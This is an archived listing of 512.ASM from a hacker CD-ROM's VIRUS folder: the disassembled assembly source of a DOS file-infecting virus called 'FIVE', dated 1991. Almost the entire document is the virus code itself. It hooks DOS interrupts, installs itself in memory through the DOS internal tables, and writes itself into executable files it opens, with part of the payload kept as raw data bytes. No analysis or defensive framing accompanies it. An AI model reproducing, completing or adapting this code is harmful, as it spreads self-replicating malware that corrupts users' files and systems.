home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / 512.ASM < prev    next >
Assembly Source File  |  1994-07-17  |  7KB  |  284 lines

  1.   
  2. PAGE  59,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    FIVE                         ██
  7. ;██                                         ██
  8. ;██      Created:   18-Jan-91                             ██
  9. ;██      Version:                                 ██
  10. ;██      Passes:    5           Analysis Options on: H                 ██
  11. ;██                                         ██
  12. ;██                                         ██
  13. ;██████████████████████████████████████████████████████████████████████████
  14.   
  15. data_1e        equ    200h            ; (0000:0200=0)
  16. data_2e        equ    4            ; (7415:0004=0)
  17. data_6e        equ    0FE07h            ; (7415:FE07=0)
  18.   
  19. seg_a        segment    byte public
  20.         assume    cs:seg_a, ds:seg_a
  21.   
  22.   
  23.         org    100h
  24.   
  25. five        proc    far
  26.   
  27. start:
  28.         mov    si,4
  29.         mov    ds,si
  30.         lds    dx,dword ptr [si+8]    ; Load 32 bit ptr
  31.         mov    ah,13h
  32.         int    2Fh            ; Multiplex/Spooler al=func 00h
  33.                         ;  get installed status
  34.         push    ds
  35.         push    dx
  36.         int    2Fh            ; Multiplex/Spooler al=func 00h
  37.                         ;  get installed status
  38.         pop    ax
  39.         mov    di,0F8h
  40.         stosw                ; Store ax to es:[di]
  41.         pop    ax
  42.         stosw                ; Store ax to es:[di]
  43.         mov    ds,si
  44.         lds    ax,dword ptr [si+40h]    ; Load 32 bit ptr
  45.         cmp    ax,117h
  46.         stosw                ; Store ax to es:[di]
  47.         mov    ax,ds
  48.         stosw                ; Store ax to es:[di]
  49.         push    es
  50.         push    di
  51.         jnz    loc_1            ; Jump if not zero
  52.         shl    si,1            ; Shift w/zeros fill
  53.         mov    cx,1FFh
  54.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  55.         jz    loc_2            ; Jump if zero
  56. loc_1:
  57.         mov    ah,52h            ; 'R'
  58.         int    21h            ; DOS Services  ah=function 52h
  59.                         ;  get DOS data table ptr es:bx
  60.         push    es
  61.         mov    si,0F8h
  62.         les    di,dword ptr es:[bx+12h]    ; Load 32 bit ptr
  63.         mov    dx,es:[di+2]
  64.         mov    cx,207h
  65.         rep    movs byte ptr es:[di],ss:[si]    ; Rep when cx >0 Mov [si] to es:[di]
  66.         mov    ds,cx
  67.         mov    di,16h
  68.         mov    word ptr [di+6Eh],117h
  69.         mov    [di+70h],es
  70.         pop    ds
  71.         mov    [bx+14h],dx
  72.         mov    dx,cs
  73.         mov    ds,dx
  74.         mov    bx,[di-14h]
  75.         dec    bh
  76.         mov    es,bx
  77.         cmp    dx,[di]
  78.         mov    ds,[di]
  79.         mov    dx,[di]
  80.         dec    dx
  81.         mov    ds,dx
  82.         mov    si,cx
  83.         mov    dx,di
  84.         mov    cl,28h            ; '('
  85.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  86.         mov    ds,bx
  87.         jc    loc_4            ; Jump if carry Set
  88. loc_2:
  89.         mov    si,cx
  90.         mov    ds,ss:[si+2Ch]
  91. loc_3:
  92.         lodsw                ; String [si] to ax
  93.         dec    si
  94.         or    ax,ax            ; Zero ?
  95.         jnz    loc_3            ; Jump if not zero
  96.         lea    dx,[si+3]        ; Load effective addr
  97. loc_4:
  98.         mov    ax,3D00h
  99.         int    21h            ; DOS Services  ah=function 3Dh
  100.                         ;  open file, al=mode,name@ds:dx
  101.         xchg    ax,bx
  102.         pop    dx
  103.         push    dx
  104.         push    cs
  105.         pop    ds
  106.         push    ds
  107.         pop    es
  108.         mov    cl,2
  109.         mov    ah,3Fh            ; '?'
  110.         int    21h            ; DOS Services  ah=function 3Fh
  111.                         ;  read file, cx=bytes, to ds:dx
  112.         mov    dl,cl
  113.         xchg    cl,ch
  114.         mov    al,byte ptr ds:[100h]    ; (7415:0100=0BEh)
  115.         cmp    al,data_5        ; (7415:02FF=2Ah)
  116.         jne    loc_5            ; Jump if not equal
  117.         mov    ah,3Fh            ; '?'
  118. loc_5:
  119.         jmp    $-157h
  120.   
  121. five        endp
  122.   
  123. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  124. ;                   SUBROUTINE
  125. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  126.   
  127. sub_1        proc    near
  128.         push    bx
  129.         mov    ax,1220h
  130.         int    2Fh            ; Multiplex/Spooler al=func 20h
  131.         mov    bl,es:[di]
  132.         mov    ax,1216h
  133.         int    2Fh            ; Multiplex/Spooler al=func 16h
  134.         pop    bx
  135.         lea    di,[di+15h]        ; Load effective addr
  136.         mov    bp,200h
  137.         retn
  138. sub_1        endp
  139.   
  140.   
  141. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  142. ;                   SUBROUTINE
  143. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  144.   
  145. sub_2        proc    near
  146.         mov    ah,3Fh            ; '?'
  147.   
  148. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  149.   
  150. sub_3:
  151.         pushf                ; Push flags
  152.         push    cs
  153.         call    sub_4            ; (0248)
  154.         retn
  155. sub_2        endp
  156.   
  157.         db    0E8h, 0DFh, 0FFh, 26h, 8Bh, 35h
  158.         db    0E8h, 0EFh, 0FFh, 72h, 24h, 3Bh
  159.         db    0F5h, 73h, 20h, 50h, 26h, 8Ah
  160.         db    45h, 0F8h, 0F6h, 0D0h, 24h, 1Fh
  161.         db    75h, 14h, 26h, 3, 75h, 0FCh
  162.         db    26h, 87h, 35h, 26h, 1, 6Dh
  163.         db    0FCh, 0E8h, 0D0h, 0FFh, 26h, 29h
  164.         db    6Dh, 0FCh, 96h, 0ABh
  165. loc_6:
  166.         pop    ax
  167. loc_7:
  168.         pop    es
  169.         pop    si
  170.         pop    di
  171.         pop    bp
  172.         retf    2            ; Return far
  173.         db    0E8h, 0C1h, 0FFh, 9Fh, 8Ah, 0C1h
  174.         db    24h, 1Fh
  175.         db    3Ch
  176. data_4        db    1Fh
  177.         db    75h, 2, 32h, 0C8h
  178. loc_8:
  179.         sahf                ; Store ah into flags
  180.         jmp    short loc_6        ; (01F6)
  181.         db    55h, 57h, 56h, 6, 0FCh, 8Bh
  182.         db    0ECh, 8Eh, 46h, 0Ah, 0BFh, 17h
  183.         db    1, 8Bh, 0F7h, 2Eh, 0A7h, 74h
  184.         db    22h, 80h, 0FCh, 3Fh, 74h, 0A1h
  185.         db    50h, 3Dh, 0, 57h, 74h, 0D1h
  186.         db    80h, 0FCh, 3Eh, 9Ch, 53h, 51h
  187.         db    52h, 1Eh, 74h, 1Bh, 3Dh, 0
  188.         db    4Bh, 74h, 11h
  189. loc_9:
  190.         pop    ds
  191.         pop    dx
  192.         pop    cx
  193.         pop    bx
  194.         popf                ; Pop flags
  195.         jz    loc_6            ; Jump if zero
  196.         pop    ax
  197.         pop    es
  198.         pop    si
  199.         pop    di
  200.         pop    bp
  201.   
  202. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  203. ;                   SUBROUTINE
  204. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  205.   
  206. sub_4        proc    near
  207.         jmp    dword ptr cs:data_2e    ; (7415:0004=0)
  208.         db    0B4h, 3Dh, 0CDh, 21h, 93h, 0E8h
  209.         db    55h, 0FFh, 72h, 0E5h, 33h, 0C9h
  210.         db    87h, 0CDh, 8Eh, 0DDh, 0BEh, 4Ch
  211.         db    0, 0ADh, 50h, 0ADh, 50h, 0B8h
  212.         db    24h, 25h, 50h, 0FFh, 74h, 40h
  213.         db    0FFh, 74h, 42h, 0Eh, 1Fh, 0BAh
  214.         db    67h, 0, 0CDh, 21h, 0C5h, 54h
  215.         db    0B0h, 0B0h, 13h, 0CDh, 21h, 6
  216.         db    1Fh, 89h, 2Dh, 88h, 6Dh, 0EDh
  217.         db    81h, 7Dh, 14h, 4Fh, 4Dh, 75h
  218.         db    34h, 8Bh, 55h, 0FCh, 2, 0F5h
  219.         db    80h, 0FEh, 4, 72h, 2Ah, 0F6h
  220.         db    45h, 0EFh, 4, 75h, 24h, 0C5h
  221.         db    75h, 0F2h, 38h, 6Ch, 4, 76h
  222.         db    8, 4Ah, 0D0h, 0EEh, 22h, 74h
  223.         db    4, 74h, 14h
  224. loc_10:
  225.         mov    ds,bp
  226.         mov    dx,cx
  227.         call    sub_2            ; (01C0)
  228.         mov    si,dx
  229.         dec    cx
  230.   
  231. locloop_11:
  232.         lodsb                ; String [si] to al
  233.         cmp    al,cs:data_6e[si]    ; (7415:FE07=0)
  234.         jne    loc_13            ; Jump if not equal
  235.         loop    locloop_11        ; Loop if cx > 0
  236.   
  237. loc_12:
  238.         mov    ah,3Eh            ; '>'
  239.         call    sub_3            ; (01C2)
  240.         pop    ds
  241.         pop    dx
  242.         pop    ax
  243.         int    21h            ; DOS Services  ah=function 00h
  244.                         ;  terminate, cs=progm seg prefx
  245.         pop    ds
  246.         pop    dx
  247.         mov    al,13h
  248.         int    21h            ; DOS Services  ah=function 00h
  249.                         ;  terminate, cs=progm seg prefx
  250.         jmp    loc_9            ; (023C)
  251. loc_13:
  252.         mov    cx,dx
  253.         mov    si,es:[di-4]
  254.         mov    es:[di],si
  255.         mov    ah,40h            ; '@'
  256.         int    21h            ; DOS Services  ah=function 40h
  257.                         ;  write file cx=bytes, to ds:dx
  258.         mov    al,ds:data_1e        ; (0000:0200=0)
  259.         push    es
  260.         pop    ds
  261.         mov    [di-4],si
  262.         mov    [di],bp
  263.         or    byte ptr [di-8],1Fh
  264.         push    cs
  265.         pop    ds
  266.         mov    data_4,al        ; (7415:0207=1Fh)
  267.         mov    dx,8
  268.         mov    ah,40h            ; '@'
  269.         int    21h            ; DOS Services  ah=function 40h
  270.                         ;  write file cx=bytes, to ds:dx
  271.         or    byte ptr es:[di-0Fh],40h    ; '@'
  272.         jmp    short loc_12        ; (02BE)
  273. sub_4        endp
  274.   
  275. data_5        db    2Ah
  276.   
  277. seg_a        ends
  278.   
  279.   
  280.   
  281.         end    start
  282.  
  283. Downloaded From P-80 International Information Systems 304-744-2253
  284.